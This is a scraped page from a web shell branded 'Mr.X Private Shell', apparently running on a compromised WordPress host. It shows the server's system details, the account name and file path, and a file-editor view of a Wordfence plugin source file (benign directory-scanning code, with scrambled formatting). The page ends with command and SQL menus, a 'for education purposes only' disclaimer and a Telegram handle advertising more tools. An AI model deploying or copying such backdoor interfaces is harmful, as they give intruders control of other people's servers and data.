Uname: Linux webm005.cluster107.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
User: 6036 (villadal)
Group: 100 (users)
Disabled functions: NONE
Safe mode: On[ PHPinfo ]
//home/villadal/www/wp-content/plugins///wordfence/lib/      ( Reset | Go to )
File Name: wfDirectoryIterator.php
Edit
<?php

abstract class wfDirectoryIterator {

    abstract public function 
file($file);

    
/**
     * @var string
     */
    
private $directory;

    
/**
     * @var int
     */
    
private $directory_limit;
    
    
    private 
$directories_entered = array();
    private 
$directories_processed = array();

    
/**
     * @var callback
     */
    
private $callback;
    
/**
     * @var int
     */
    
private $max_iterations;
    private 
$iterations;

    
/**
     * @param string $directory
     * @param int    $max_files_per_directory
     * @param int    $max_iterations
     */
    
public function __construct($directory ABSPATH$max_files_per_directory 20000$max_iterations 1000000) {
        
$this->directory $directory;
        
$this->directory_limit $max_files_per_directory;
        
$this->max_iterations $max_iterations;
    }

    public function 
run() {
        
$this->iterations 0;
        
$this->scan($this->directory);
    }

    protected function 
scan($dir) {
        
$dir rtrim($dirDIRECTORY_SEPARATOR);
        
$handle opendir($dir);
        
$file_count 0;
        while (
$file readdir($handle)) {
            if (
$file == '.' || $file == '..') {
                continue;
            }
            
$file_path $dir '/' $file;
            
$real_path realpath($file_path);
            if (isset(
$this->directories_processed[$real_path]) || isset($this->directories_entered[$real_path])) { //Already processed or being processed, possibly a recursive symlink
                
continue;
            }
            
            else if (
is_dir($file_path)) {
                
$this->directories_entered[$real_path] = 1;
                if (
$this->scan($file_path) === false) {
                    
closedir($handle);
                    return 
false;
                }
                
$this->directories_processed[$real_path] = 1;
                unset(
$this->directories_entered[$real_path]);
            }
            else {
                if (
$this->file($file_path) === false) {
                    
closedir($handle);
                    return 
false;
                }
            }
            if (++
$file_count >= $this->directory_limit) {
                break;
            }
            if (++
$this->iterations >= $this->max_iterations) {
                
closedir($handle);
                return 
false;
            }
        }
        
closedir($handle);
        return 
true;
    }
}

All system for education purposes only. For more tools: Telegram @jackleet

Mr.X Private Shell

Logo
-
New File | New Folder
Command
SQL